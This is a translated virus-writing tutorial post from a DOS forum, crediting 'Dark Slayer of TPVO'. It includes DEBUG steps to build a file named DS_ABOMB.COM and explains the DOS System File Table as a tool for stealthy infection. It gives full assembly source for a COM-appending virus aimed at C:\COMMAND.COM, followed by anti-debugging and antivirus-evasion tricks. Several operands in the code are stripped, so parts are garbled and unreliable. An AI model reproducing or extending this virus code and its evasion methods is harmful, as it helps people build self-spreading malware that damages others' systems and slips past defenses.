────────── Moderation Record ──────────
Performed by: namejm
Description: This post was transferred from DOS Batch & Script Technology (Batch Processing Room)
────────── Moderation Record ──────────
Let's study together!
I. Save the data. (That's all for now!) ───────┐
II. Use DEBUG < FileName.xxx (file name) │
III. An executable file can be generated. │
│
N DS_ABOMB.COM ←┤
E0100 E8 00 00 5E 83 EE 03 BF 00 01 57 B8 99 4B CD 21 │
. │
. │
. │
RCX │
02DD │
W │
Q ←┘
◎System File Table (SFT) ◎
by Dark Slayer of TPVO
==========================================================================
Hi! I'm DS. Since I live in school dormitory but come back once a week, so I write some technical data for you members every week. Hope you work hard. Welcome to write to me to discuss, but I can only reply once a week. Sorry...
This time I'm going to talk about the application of SFT (System File Table).
When we use DOS's File Handle to read and write files, has anyone ever thought about its principle? Suppose the file pointer initially points to the beginning of the file. After we read or write this file, it changes the pointer. Has anyone ever thought about where it records this pointer value? If we write to a file, how does DOS know how to change the directory of this file when closing it? All the data related to file processing is recorded in the SFT. oh... yeah... SFT!!! It's a powerful tool for virus writers. In-depth understanding of SFT and its application in your virus will make your virus stronger. In fact... As early as the era of DOS 3.3, someone used SFT to write viruses. He is the Bulgarian virus king Dark Avenger. Foreigners have used SFT technology for a long time, but few virus authors in our country know how to use SFT (I'm an exception... hehehe...) OK! Enough of the nonsense... Let's quickly take a look at such a good thing...
SFT format in DOS 4.0-6.2 (taken from INTRLIST, translated by me)
Offset Size Description
00h WORD Number of handles referring to this file
02h WORD File open mode (refer to AH=3Dh, int 21h)
If this file is opened using FCB, bit 15=1
04h BYTE File attribute (refer to AH=43h, int 21h)
05h WORD Device information (refer to AX=4400h, int 21h)
bit 15=1 indicates this file is remote (on the network)
bit 14=1 Do not set the file's date and time when closing
bit 7 1: device, 0: file
bit 6 =1 The file has not been written yet
bits 5~0 When bit 7=1, the disk drive number (0=A:, 1=B: ...)
When bit 7=0, it's device information
07h DWORD If it's a character device, this is a pointer to the device driver header
Otherwise, this is a pointer to the DOS disk parameter block (DPB)
(refer to AH=32h, int 21h)
0Bh WORD Starting cluster of the file
0Dh WORD File time (refer to AH=57h, int 21h)
0Fh WORD File date (refer to AH=57h, int 21h)
11h DWORD File size
15h DWORD File read/write pointer (refer to AH=42h, int 21h)
19h WORD Relative cluster number of the last accessed cluster
1Bh DWORD Sector number of the directory entry of this file (can be directly read/written using int 25h/26h)
1Fh BYTE Number of directories that can fit in one sector
20h 11 BYTEs FCB format file name (no path, no dot '.', remaining space filled with blank space (ASCII code 20h)
2Bh DWORD (SHARE.EXE) Pointer to the previous SFT sharing the same file
2Fh WORD (SHARE.EXE) Network machine number that opened the file
31h WORD PSP segment of the file owner, AUX/CON/PRN point to IO.SYS
33h WORD (SHARE.EXE) Offset in the SHARE segment for the shared record
0000h=No SHARE
35h WORD Absolute cluster number of the last accessed cluster
37h DWORD Pointer to the IFS driver
After seeing the above data, do you find it complicated? Or feel excited? It contains many useful things (or should we call them weapons?!)
When we use DOS's AH=3Dh int 21h to open a file, DOS creates an SFT for this file. But you may be confused! How to get the address of this SFT? Look below...
mov ax,3d02h
mov dx,offset file_name
int 21h ; Open file
xchg bx,ax
push bx ; Save File Handle, because BX is changed below
mov ax,1220h
int 2fh ; Get Job File Table (JFT)
mov ax,1216h
xor bh,bh ; bh=0
mov bl,es: ; bl=es:=JFT number
int 2fh ; Get SFT address
pop bx ; Get back File Handle
--------D-2F1220-----------------------------
INT 2F U - Internal use in DOS 3+ - Get Job File Table
AX = 1220h
BX = file handle
Return: CF =1 error
AL = 6 (invalid file handle)
CF =0 success
ES:DI -> In the current program, JFT of the file code (byte)
Notes: the byte pointed at by ES:DI contains the number of the SFT for the file handle, or FFh if the handle is not open
supported by DR-DOS 5.0+
SeeAlso: AX=1216h,AX=1229h
--------D-2F1216-----------------------------
INT 2F U - Internal use in DOS 3+ - Get SFT address
AX = 1216h
BX = SFT number (i.e., the JFT obtained using AX=1220h int 2Fh)
Return: CF =0 success
ES:DI -> SFT address
CF =1, BX > FILES=xxxx
Note: supported by DR-DOS 5+
SeeAlso: AX=1220h
Cool?! Use DOS's undocumented function int 2Fh to get SFT. In fact, int 2Fh has many useful functions, which will be introduced later.
After getting SFT, what to do? Hehe... After getting it, many cool tricks can be shown with it. Next, it all depends on everyone's imagination and creativity... I point out a few places where SFT can be used. Other in-depth applications will be discussed later, or you can try it yourself to exert your spirit of seeking knowledge.
SFT format in DOS 4.0-6.2 (taken from INTRLIST, translated by me)
Offset Size Description
00h WORD Number of handles referring to this file
02h WORD File open mode (refer to AH=3Dh, int 21h)
If this file is opened using FCB, bit 15=1
I opened the file with 3D00h, then changed this to 2. In this way, I can access this file in read-write mode. This can deceive those bad AVs, because AV thinks that if it's opened with 3D00h, it can't be written, so it may not guard against this trick...
04h BYTE File attribute (refer to AH=43h, int 21h)
Before opening the file with 3D02h, I should first use 4300h to get the file attribute, then use 4301h to change the file attribute to non-hidden and writable? No need!! Hehe... We just open the file with 3D00h (as mentioned above), then save the value here, and then set it to 0. It has the same function.
05h WORD Device information (refer to AX=4400h, int 21h)
bit 15=1 indicates this file is remote (on the network)
bit 14=1 Do not set the file's date and time when closing
bit 7 1: device, 0: file
bit 6 =1 The file has not been written yet
bits 5~0 When bit 7=1, the disk drive number (0=A:, 1=B: ...)
When bit 7=0, it's device information
Do I need to save the time and date of the file before writing to it? No need!! After infecting, before closing the file, set bit 14 to 1, then the time and date won't be changed after closing.
07h DWORD If it's a character device, this is a pointer to the device driver header
Otherwise, this is a pointer to the DOS disk parameter block (DPB)
(refer to AH=32h, int 21h)
How does the Assassin virus get it? How many remaining clusters are there in the file to be infected? Of course, first know how many sectors are in one cluster of this disk, then calculate it with the file length. How to get these data? Of course, from DPB.
0Bh WORD Starting cluster of the file
0Dh WORD File time (refer to AH=57h, int 21h)
0Fh WORD File date (refer to AH=57h, int 21h)
I can get the file time and date without using AH=57h.
11h DWORD File size
I can get the file size without using AX=4202h, CX=DX=0, int 21h.
15h DWORD File read/write pointer (refer to AH=42h, int 21h)
Directly changing this value has the same effect as using AH=42h int 21h.
19h WORD Relative cluster number of the last accessed cluster
1Bh DWORD Sector number of the directory entry of this file (can be directly read/written using int 25h/26h)
1Fh BYTE Number of directories that can fit in one sector
20h 11 BYTEs FCB format file name (no path, no dot '.', remaining space filled with blank space (ASCII code 20h)
2Bh DWORD (SHARE.EXE) Pointer to the previous SFT sharing the same file
2Fh WORD (SHARE.EXE) Network machine number that opened the file
31h WORD PSP segment of the file owner, AUX/CON/PRN point to IO.SYS
33h WORD (SHARE.EXE) Offset in the SHARE segment for the shared record
0000h=No SHARE
35h WORD Absolute cluster number of the last accessed cluster
37h DWORD Pointer to the IFS driver
OK! I'll take the little virus from the previous virus teaching Lesson one to transform it, and demonstrate the part transformed using SFT with lowercase instructions.
=================(Lesson one - new)==========================================
LESSON_1 SEGMENT
ASSUME CS:LESSON_1,DS:LESSON_1
ORG 100h
START:
NOP ; ┐
NOP ; ├> Reserve 3 BYTES of space
NOP ; ┘
VIR_START: ; This is the real beginning of the virus program
CALL LOCATE ; Can be thought of as PUSH IP
LOCATE: ;
POP SI ;
SUB SI,OFFSET LOCATE ; Subtract the excess value, at this time SI=offset value
; Since this virus is attached to the back of the file, and the size of the infected file is different, so the offset of the virus attached to the back of the file will also be uncertain, which will cause variables to be unable to be located. So we need to know how much it has been offset
; The following program, as long as it involves parts related to memory addressing, will add offset value
MOV AX,WORD PTR DS:FIRST_3_BYTE ; ┬> Restore in memory, original
MOV DS:,AX ; │ File header, modified by virus
MOV AL,DS:FIRST_3_BYTE ; │
MOV DS:,AL ; ┘
; Because when this virus is executed for the first time, it hasn't infected the file before, and when restoring these 3 BYTES, it will overwrite the virus itself. So at the beginning, I added 3 NOPs to leave this space, and VIR_START is the real beginning of the virus code
mov ax,3D00h ; open file for read only
LEA DX,FILE_NAME ; DS:DX points to the file name to be opened
INT 21h ; Call interrupt
; After the file is opened successfully, AX=file handle (FILE HANDLE) is returned
MOV BX,AX ; BX = AX = FILE HANDLE
push bx ; save BX
mov ax,1220h
int 2fh ; get JFT
mov ax,1216h
xor bh,bh
mov bl,es: ; BL=JFT
int 2fh ; get SFT
pop bx ; restore BX
mov word ptr es:,2 ; file mode = 2 (read/write)
mov al,es: ; AL=file attribute
push ax ; save AX
mov byte ptr es:,0 ; set file attribute to zero
MOV AH,3Fh ; Read file
MOV CX,3 ; Read 3 BYTES
LEA DX,FIRST_3_BYTE ; DS:DX points to the address to store data
INT 21h ; Call interrupt
; This action is to read the first 3 BYTES of the file into FIRST_3_BYTE and save it
; MOV AX,4202h ; Move file pointer (from the end of the file)
; XOR CX,CX ; CX = 0
; XOR DX,DX ; DX = 0, move 0 BYTES from the end of the file
; INT 21h ; Call interrupt
mov ax,es: ; AX=file length
mov es:,ax ; set access point to file end
; Since it's a .com file, less than 64K,
; so only the low word group needs to be processed
; This action is to move the file read/write pointer to the end of the file, and DX:AX (DX = HIGH, CX = LOW) returns the distance from the beginning of the file to the moved pointer. So at this time DX = 0 (COM file less than 64K), AX = file length
SUB AX,3 ; Calculate the offset of JMP
MOV WORD PTR DS:JMP_BYTE,AX ; Save the offset value
; This action is to calculate the offset required to JMP from the beginning of the file to the beginning of the virus code (end of the file)
MOV AH,40h ; Write file
MOV CX,VIR_SIZE ; CX = virus length
LEA DX,VIR_START ; DS:DX points to the beginning of the virus program
INT 21h ; Call interrupt
; This action is to write the virus body into the file. Since the previous action has moved the file pointer to the end of the file, this write is from the end of the file, that is, concatenate the virus body at the end of the file
; MOV AX,4200h ; Move file pointer (from the beginning of the file)
; XOR CX,CX ; CX = 0
; XOR DX,DX ; DX = 0, move 0 BYTES from the beginning of the file
; INT 21h ; Call interrupt
mov word ptr es:,0
; This action is to move the file read/write pointer to the beginning of the file to modify the first 3 BYTES of the file header
MOV AH,40h ; Write file
MOV CX,3 ; Write 3 BYTES
LEA DX,JMP_BYTE ; DS:DX points to the JMP program code
INT 21h ; Call interrupt
; This action is to write the JMP code we calculated to the first 3 BYTES of the file header. In this way, when the program is executed, it will jump to the beginning of the virus program
pop ax ; AX=file attribute
mov es:,al ; restore file attribute
or word ptr es:,0100000000000000b
; Do not change the time and date when closing the file
MOV AH,3Eh ; Close file
INT 21h ; Call interrupt
push cs
pop es ; Because getting SFT has changed es
MOV AX,100h ; AX = 100h (the initial execution address of the COM file)
PUSH AX ; PUSH the value for the next RET instruction
RET ; RET to 100h
; Since the virus has done what it should do, return to 100h to execute the original file
FILE_NAME DB 'C:\COMMAND.COM',0
FIRST_3_BYTE DB 0CDh,20h,? ; DB 0CDh,20h = INT 20h (program end)
JMP_BYTE DB 0E9h,?,? ; 0E9h,?,? = JMP XXXX
MSG DB 'This is virus by Dark Slayer'
DB ' in Keelung, Taiwan <R.O.C> of TPVO'
VIR_SIZE EQU $-OFFSET VIR_START
LESSON_1 ENDS
END START
Hi! This time I'm going to study some anti-tracking techniques... Although this is not directly related to viruses, it's fun to make some AVs confused...
In the early days, when people prevented others from debugging, they either crashed int 1h, int 3h or locked the keyboard. In this way, they couldn't trace anymore. Although these methods are not very clever, they eventually achieved the purpose of preventing tracing... With the birth of some tools, these methods can no longer meet the requirements of tracing... So... Hee! All kinds of strange methods have been dug out one after another! And the purpose of me writing this anti-trace is to summarize them... This is also my current responsibility... :_)
************************
1) Use some special instructions???
************************
We first need to find some relatively special instructions to put into our virus. In this way, some AVs can't trace下去, and you can achieve the purpose of anti-tracking... Let's take TBCLEAN in TBAV as an example... (Oh! This is a free AV)
C:\TBAV>debug
-a100
xxxx:xxxx LOCK ; This instruction TBCLEAN can't be emulated! Why?
xxxx:xxxx int 20h ; Maybe the author has a special reason...
xxxx:xxxx <Enter>
-n test.com
rcx
:3
-w
-q
C:TBAV>tbclean test.com
In addition to this instruction, there are ENTER, LEAVE, PUSH ??h, PUSH ????h...
Of course! It's not just these instructions that can be used... You can go and try some *not used* instructions!!!
Next is the 87 instruction... According to what I've seen so far, no AV can simulate these arithmetic coprocessor instructions... (Except PTAV... It's added to understand my first polymorphic... Hee!) Of course you can also try TBCLEAN to see if it can be simulated! The answer is no... Because as long as it's an instruction it doesn't recognize! It can achieve the purpose of anti-tracking. I think you should understand this! :_)
In addition to the instructions mentioned above! We can also use some strange instructions? Hee! Thanks to DS for giving me some suggestions...
1) D6h (Set AL to carry)
If CF=1, AL is set to FFh!
If CF=h, AL is set to 00h!
2) F1h
This instruction is in ICE! Used as a breakpoint... Has the same purpose as int 3h in debug...
************
2) Hardware & Interrupts
************
1) int 00h (Divide by 0 error)
...
xor ax,ax
mov ds,ax
push word ptr ds:
push word ptr ds:
mov ds:,cs
mov ax,OFFSET int0_jmp
mov ds:,ax
xor ax,ax
div ax ; Because ax:=0000h and ax divided by ax triggers
int 20h ; int 0h interrupt... Makes the program jump to int0_jmp!
... ; Instead of executing int 20h ...
int0_jmp:
pop ax
pop ax
pop ax
pop word ptr ds:
pop word ptr ds:
...
I originally added this method to GCAE v2.0. Unexpectedly, some magazines my friend sent me later had the same method. It shows that foreign technology has always been stronger than ours. So everyone should work hard...
In the past, there was no CPU instruction emulation that could trace下去... (Except the new version of PTAV...)
Similar methods include int 5h (related to bound), int 6h (illegal instruction interrupt), int 7h, int 0dh... Interested people can study it by themselves... (Wow! I'm so degenerate...) :_)
2) int 02h (Non-maskable interrupt)
...
xor ax,ax
mov ds,ax
push word ptr ds:
push word ptr ds:
mov ds:,cs
mov ax,OFFSET int0_jmp
mov ds:,ax
int 75h ; Why call int 75h?? Hee! According to my observation... There is an int 02h in this interrupt!
... ; So... :_)
int2_jmp:
add sp,000ch
pop word ptr ds:
pop word ptr ds:
...
Hee! I plan to use this method in my next variant engine... So far, none can simulate it (I tried with TBAV...)!
In addition... I/O ports can also be used to trigger int 2h interrupt. Interested people can study it...
port: 61h, 70h...
***************
3) CPU Instruction Queue
***************
Hey? Queue? Haven't heard of it? That's right... At first I didn't know its principle! But now I know it... Thanks to the guidance of a senior and my own intelligence... (Hah! Seems a bit cocky...)
mov ah,09h
mov word ptr ds:,OFFSET msg2 ;*
reg_dx:
mov dx,OFFSET msg1
int 21h
int 20h
msg1 db 'Fuck the Mad Satan! Shit!','$'
msg2 db 'Oh! Zhuge ... You are great!!!','$'
Hmm! When tracing under debug, what is obtained is msg2... But under DOS it's msg1
How? Fun enough吧... Why does this happen?? This is because Intel's CPU will load several instructions together when executing... (Maybe it's more time-saving!) And after the asterisk is executed, although mov dx,OFFSET msg1 is replaced with mov dx,OFFSET msg2 in the program, it's not changed in the CPU, resulting in the execution result being msg1! Of course! If there is a jmp or call after the asterisk, this phenomenon won't happen. I think you should understand the relationship with anti-tracking. You can also use this method to change the program flow!
